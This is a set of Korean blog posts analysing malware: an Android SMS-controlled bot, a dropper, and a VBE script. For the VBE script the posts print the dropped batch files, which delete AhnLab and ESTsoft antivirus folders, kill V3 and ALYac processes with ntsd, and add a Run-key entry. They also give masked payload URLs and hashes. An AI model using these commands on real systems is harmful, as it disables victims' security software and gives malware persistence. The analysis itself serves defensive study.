이번에 분석해 볼 앱은 정말 최근(2012. 4.11)에 발견된 원격 스마트폰을 SMS로 컨트롤하는 앱이다. 


클래스파일이 너무 많아 line by line는 안되고 악성 행위를 하는 부분에 대해서만 설명하도록 하겠다.


일단 GPS 업데이트 부분을 한번 살펴보자. 해당 앱은 감염된 스마트폰의 GPS 정보를 전송하는 기능이 있는데 해당 기능은 [그림1]과 같은 소스코드가 수행하며 클래스 파일의 이름은 CdmaCellLocation이다.



[그림 1 - GPS 위치 전송 데이터 설정]


이번에는 전화통화를 강제로 종료하는 부분이다. 스마트폰의 스크린이 켜지면 그 이벤트를 감지하여 전화통화 상태일시 전화통화를 종료해버린다.


[그림 2 - 전화통화 강제종료]


이번에는 감염 스마트폰의 이미지 전송 부분이다. 사용자가 갤러리등을 통해 사진을 호출하려고 할 때 대부분의 앱들은 미리보기를 보여주게 되는데 이 미리보기가 호출되면 자동적으로 OnPreviceFrame() 메소드가 호출되어 이미지가 특정한 곳으로 전송 된다.


[그림 3 - 이미지 전송]


이번에는 가장 핵심적인 SMS 메시지 명령에 대한 부분을 보자. [그림 4]는 감염 스마트폰으로 SMS가 올 시 그것을 감지하는 부분이다.


[그림 4 - SMS 감지]


이번에는 명령을 체크하는 부분이다. 아래는 그 일부분이다.


[그림 5 - SMS 명령 체크]


이젠 어떠한 명령이 있는지 알아보자. 일단 네트워크에 관련된 부분이다.


[그림 6 - wift 체크]


[그림 6]은 wifi가 연결되어 있는지 확인하는 메소드 부분이다. 이뿐만 아니라 네트워크의 설정정보도 변경하며 사용자가 네트워크 설정 정보를 변경하면 그것또한 감지하여 다시 네트워크 정보를 변경한다.


[그림 7 - 재부팅]


[그림 7]은 악성 앱이 감염 스마트폰을 강제적으로 재부팅시키는 메소드 부분이다. 


[그림 8 - 백그라운드 프로세스 Kill]


[그림 8]은 악성 앱이 백그라운드에서 실행되고 있는 프로세스를 죽이는 메소드 부분이다.


[그림 9 - 상수]


[그림 9]는 GPS와 녹음파일을 업로드 하는 메소드 부분에서 사용되는 상수 값이다. 앞에서 보았던 GPS 설정 데이터를 해당 부분에서 전송하며 녹음 파일 또한 같은 메소드에서 전송한다.



[그림 10 - 전송 후 삭제]


[그림 10]은 녹음 파일을 전송 한 후 삭제하는 부분이다. [그림 11]은 특정 서버와 연결하는 부분으로 해당 서버와 연결이 되면 계속해서 서버에서 오는 수신 메시지를 받는다.



[그림 11 - 서버메시지 수신]


마지막으로 화면잠금 해제 부분이다.


[그림 12 - 화면잠금 해제]


정말 앱 하나에 기능이 많이 들어가 있다. 보기 좋게 어떤 악성 행위를 하는지 정리해 보면 다음과 같다.


1. GPS 데이터 전송

2. SMS 특정번호로 전송

3. 네트워크 설정 정보 변경 및 연결상태 확인

4. 특정 서버와 데이터 송수신

5. 백그라운드의 프로세스 Kill

6. 녹음 파일 전송

7. 스마트폰 재부팅

8. 전화통화 강제종료

9. 이미지 전송

10. 화면 잠금 해제



결국 해당 앱은 감염 스마트폰으로 오는 메시지들을 모니터링 해서 명령에 해당하는 것이 있으면 해당 명령에 관한 기능을 수행한다. 또 스마트폰 상태에 따라 여러가지 정보를 변경한다. 마지막으로 여러 특정데이터들을 특정한 곳으로 전송 시킨다.

전형적인 봇의 형태를 나타내며, 악성코드로서의 행위도 하는 스마트폰에 어울리는 아주 스마트한 악성 앱이다.

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10
너무너무 궁금해서 결국 분석환경에서 간단히 어떠한 동작을 하는지 보았다.

온라인 게임 계정탈취 악성코드는 아닌듯 하고,  200~으로 시작하는 파일이 Alcrm32.exe파일을 Drop해 실행시킨다.

또, logo09.exe파일은 레지스트리 중 Ahnlab Tray 레지스트리에 자신을 등록하게 삭제 된다.

나머지 파일 하나는 그냥 백도어 프로그램 이다.. 

 그리고 나서 200~ 파일은 인터넷 접속을 시도 하고, site/main/b.txt를 받으려고 하나 해당 사이트에서 조치가 취해졌는지 파일이 없어 다운받지 못하고 404 페이지만 서버로부터 받는다.


[그림 1 - 패킷 스트림 모습]
 
해당 사이트는 현재 공사중이라고 표시되고 b.txt 파일은 다운로드 되지 않으므로 주소를 공개한다.

과연 저 b.txt파일에는 뭐가 들어있을까? ㅋㅋ 

  1. 2013.05.11 20:37

    비밀댓글입니다

네이버 지식인 모니터링 중 어떤 질문자가 다급하게 링크를 올리며 질문을 했던 적이 있었다(SIS 공부 기간에)

네이트온 쪽지로 이상한 URL이 왔다고 알아봐 달라는 질문 이었다.

바로 URL로 들어가니 어떠한 파일을 다운받는 링크가 나왔고 다운 받으니 word.vbe라는 VB Script 파일이었다.

네이트온 쪽지로 왔으니 악성코드가 맞는 것은 100% 일 것!!

하지만, 그때는 공부중이어서 분석을 하지 못했고, 오늘에서야 분석을 하게 되었다.

분석시간이 너무 걸려 중간에 그만 뒀지만 그래도 공부는 됬을거라 생각 된다.

바이러스 토탈로 검사 해 본 결과로는 많은 AV에서 탐지하지 못하고 있다는 것이다.

바이러스 토탈에서 이 악성코드를 탐지하는 AV는 4개정도밖에 없었다.


인증샷을 보여주고 싶지만, 현재 바이러스 토탈이 무슨 문제인지 접속이 되질 않는다.. ㅠㅠ

일단 해당 악성코드를 실행하면 아래와 같은 동작을 한다.

 


[그림 1 - 실행 실패]
무언가 파일들을 실행하려 하지만 실행이 되지 않는다. 

처음에는 분석환경이 실행조건에 맞지 않아서 그런 줄 알았으나, 알고보니 파일들이 0바이트 였다...

아무런 코드도 없는 쓰레기 파일들이었다.

그리고 PE로 프로세스를 보니 ping 프로세스가 실행되어 있었다. 자세히 보니 루프백으로 ping을 10개 날리고 있었다.

그 다음으로는 아무런 동작도 하지 않는 것처럼 조용하다.... 그러나 프로그램은 아래와 같은 파일들을 생성한다.

[그림 2 - 생성 파일들]

[생성파일]


C:\WINDOWS\help\wincari.exe                            // 쓰레기 파일

C:\time.txt                                                            // 로컬컴퓨터의 날짜와 시간을 저장하는 텍스트 파일

C:\WINDOWS\Web\ver.exe                                  // 쓰레기 파일

C:\WINDOWS\system32\winfacet.exe                   // 쓰레기 파일

C:\WINDOWS\system32\Alcrm32.exe                   // 확인 불가...

C:\WINDOWS\v.bat                                              // 쓰레기 파일들을 실행시키는 등에 행위를 하는 배치파일

C:\WINDOWS\va.bat                                            // 알약AV와 V3AV를 디버깅 하도록 명령을 내리는 배치파일


아래는 위에서 생성된 v.bat 파일과 va.bat 파일의 내용이다.


[v.bat]


%systemroot%\Web\ver.exe                                   // ver.exe 실행

%systemroot%\system32\winfacet.exe                    //  winfacet.exe 실행

del "%ProgramFiles%\ESTsoft\*.*" /f /s /q               // ESTosft 하위 폴더와 파일 모두 강제 삭제


del "%ProgramFiles%\AhnLab\*.*" /f /s /q               // AhnLab 하위 폴더와 파일 모두 강제 삭제


ping 127.0.0.1 -n 10>nul                                            // 화면에 보이지 않게 nul로 출력

reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN /v MyRun /d  %systemroot%\system32\Alcrm32.exe /f               // 레지스트리에 Alcrm32.exe 등록

date <c:\time.txt

del c:\time.txt

del %systemroot%\v.bat                                         // 모든 작업을 끝마치고 자신을 삭제


===============================================================================================================


[va.bat]


tasklist | findstr "V3LSvc.exe" && ntsd -c q -pn V3LSvc.exe                   // V3 프로세스르 찾은 뒤 디버깅

tasklist | findstr "V3LSvc.exe" && ntsd -c q -pn V3LSvc.exe

tasklist | findstr "AYServiceNT.aye" && ntsd -c q -pn AYServiceNT.aye  // 알약 프로세스를 찾은 뒤 디버깅 


해당 악성코드는 아래와 같은 레지스트리 변경작업을 실행한다.

[레지스트리 변경 항목]


HKLM\SYSTEM\CurrentControlSet\Service\SharedAccess\Start
old value : 2
New Value : 3
 

HKLM\SYSTEM\CurrentControlSet\Service\SharedAccess\Epoch\Epoch
Old Value : 32
New Value : 33
 

HKLM\SYSTEM\ControlSet001\Service\SharedAccess\Start
Old Value : 2
New Value : 3
 

HKLM\SYSTEM\ControlSet001\Service\SharedAccess\Epoch\Epoch
Old Value : 32
New Value : 33
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19\RefCount
Old Value : 2
New Value : 1
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run
Old Value : 5
New Value : 7
 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run\ver.exe
실행결과 : ver.exe 레지스트리 등록


HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Run\MyRunC:\WINDOWS\system32\Alcrm32.exe 실행결과 : Alcrm32.exe 레지스트리 등록
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON
Old Value : 44
New Value : 47
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMONHKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Throttling Threshold

실행결과 : Merger Throttling Threshold 생성 후 value 10으로 설정
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Release Threshold
실행결과 : Merger Release Threshold 생성 후 value 5로 설정
 

HKLM\SOFTWARE\Microsoft\WBEM\CIMON\Merger Batching Threshold 생성 후 value 131072로 설정
실행결과 : Merger Batching Threshold 생성 후 value 131072로 설정
 

HKLM\SOFTWARE\Microsoft\Rpc\UuidSequenceNumber
Old Value : -522910999
New Value : -522910998

 

HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed value 수정
실행결과 : Seed Value 수정


해당 악성코드는 아래와 같이 서비스도 수정한다.

[Drirver]
 

IP Network Address Translator(NAT) 기능 Stop                       // NAT 기능 OFF

Microsoft Kernel Wave Audio Mixer 기능 Stop



[Win32]


Application Layer Gateway Service 기능 Stop                          // OSI 7계층 서비스 게이트웨이 서비스 OFF

Windows Firewall/Internet Connection Sharing(ICS) 기능 Stop   // 방화벽, 공유 기능 OFF


이 모든 행동과 함께 인터넷이 연결되어 있다면 아래와 같이 특정 사이트에서 파일을 다운로드 한다.

[악성파일 추가 다운로드 - 아직도 다운로드가 가능하므로 주소는 모두 공개 하지 않음]

jrcrxxxx.co.kr(211.xxx.111.xxx) /%69%6D%61%67%65%73/%62%61%6E%6E%65%72/%6C%6F%67%6F%73%77%69%73%68.%6A%70%67   (/images/banner/logoswish.jpg)


www.heavexxxx.co.kr(116.xxx.158.xxx) /%73%68%6F%70/%69%6D%67/%6D%61%69%6E/%6C%6F%67%6F%30%39.%67%69%66   (/shop/img/main/logo09.gif)


jjknew.firsxxxxx.kr(121.xxx.114.xxx) /%70%61%72%74%6E%65%72/%65%73%65%6C%6C%65%72%73/%74%6D%70/%32%30%30%38%31%30%30%32%31%36%34%38%62%39%39.%67%69%66   (/partner/esellers/tmp/200810021648b99.gif)

패킷을 캡쳐해서 보면 URL 인코딩으로 되어 있는데 그것을 복호화하면 ()안에 주소가 나온다. 


하지만 내 노트북에서는 노튼이 알아서 다 처리해주어... backtrack5에서 wget으로 수동으로 다운로드 하였다.


[그림 3 - jrcrxxxx.co.kr에서 다운 받는 모습]


[그림 4 - jjknew.firsxxxxx.kr에서 다운 받는 모습]


[그림 5 - www.heavexxxxx.co.kr에서 다운 받는 모습]

이미지에서 볼수 있듯이 받는 파일들은 확장자만 이미지파일 확장자 일뿐, 실제로는 윈도우 exe 파일들이다.

어떠한 악위적인 행위를 하는지는 분석을 여기서 중단하여 모른다.(다시 이 파일들을 분석 환경으로 옴기고 등등을 하기가 너무 귀찮네요... ㅠㅠ)

한시라도 빨리 모든 백신에 치료패턴이 추가 되었으면 한다.

[+] 해당 악성코드 샘플을 얻고 싶으신 백신업체 관계자 분들은 연락주시면 바로 쏴드립니다. ^^


(2011. 12. 14 추가) - 바이러스 토탈 결과
AntivirusVersionLast UpdateResult
AhnLab-V3 2011.12.12.00 2011.12.12 -
AntiVir 7.11.19.98 2011.12.13 -
Antiy-AVL 2.0.3.7 2011.12.13 -
Avast 6.0.1289.0 2011.12.13 VBS:Agent-MC [Trj]
AVG 10.0.0.1190 2011.12.13 JS/Heur
BitDefender 7.2 2011.12.14 -
ByteHero 1.0.0.1 2011.12.07 -
CAT-QuickHeal 12.00 2011.12.13 -
ClamAV 0.97.3.0 2011.12.13 -
Commtouch 5.3.2.6 2011.12.13 -
Comodo 10947 2011.12.14 UnclassifiedMalware
DrWeb 5.0.2.03300 2011.12.13 -
Emsisoft 5.1.0.11 2011.12.13 Virus.JS.Heur!IK
eSafe 7.0.17.0 2011.12.13 -
eTrust-Vet 37.0.9622 2011.12.13 -
F-Prot 4.6.5.141 2011.12.13 -
F-Secure 9.0.16440.0 2011.12.13 -
Fortinet 4.3.388.0 2011.12.13 -
GData 22 2011.12.13 VBS:Agent-MC
Ikarus T3.1.1.109.0 2011.12.13 Virus.JS.Heur
Jiangmin 13.0.900 2011.12.13 -
K7AntiVirus 9.119.5671 2011.12.13 -
Kaspersky 9.0.0.837 2011.12.13 HEUR:Exploit.Script.Generic
McAfee 5.400.0.1158 2011.12.13 -
McAfee-GW-Edition 2010.1E 2011.12.13 -
Microsoft 1.7903 2011.12.13 -
NOD32 6709 2011.12.13 -
Norman 6.07.13 2011.12.13 -
nProtect 2011-12-13.01 2011.12.13 -
Panda 10.0.3.5 2011.12.13 -
PCTools 8.0.0.5 2011.12.14 -
Prevx 3.0 2011.12.14 -
Rising 23.88.01.02 2011.12.13 -
Sophos 4.72.0 2011.12.13 -
SUPERAntiSpyware 4.40.0.1006 2011.12.14 -
Symantec 20111.2.0.82 2011.12.14 -
TheHacker 6.7.0.1.356 2011.12.11 -
TrendMicro 9.500.0.1008 2011.12.13 -
TrendMicro-HouseCall 9.500.0.1008 2011.12.14 -
VBA32 3.12.16.4 2011.12.13 -
VIPRE 11249 2011.12.14 -
ViRobot 2011.12.13.4823 2011.12.13 -
VirusBuster 14.1.114.0 2011.12.13 -
Additional information
MD5   : 136014f57b25249e60fb4ce1dc74e1dc
SHA1  : 4efec04d655b3c641c2cd21525175549395e1e1a
SHA256: b95635c202835fffea89c28f20d15eb94770b5b041d201439ff4f9ebf7e591fa
ssdeep: 96:f7BCqrj4UWUzDqNfY9RynI7I/7qTRzPYyCtZ01TkCGfhwHYBIIJPC80u6u:TAqrGsGYvoI7E
76zVOjWYBIIPC8X
File size : 4862 bytes
First seen: 2011-12-11 08:24:20
Last seen : 2011-12-13 23:47:16
 

+ Recent posts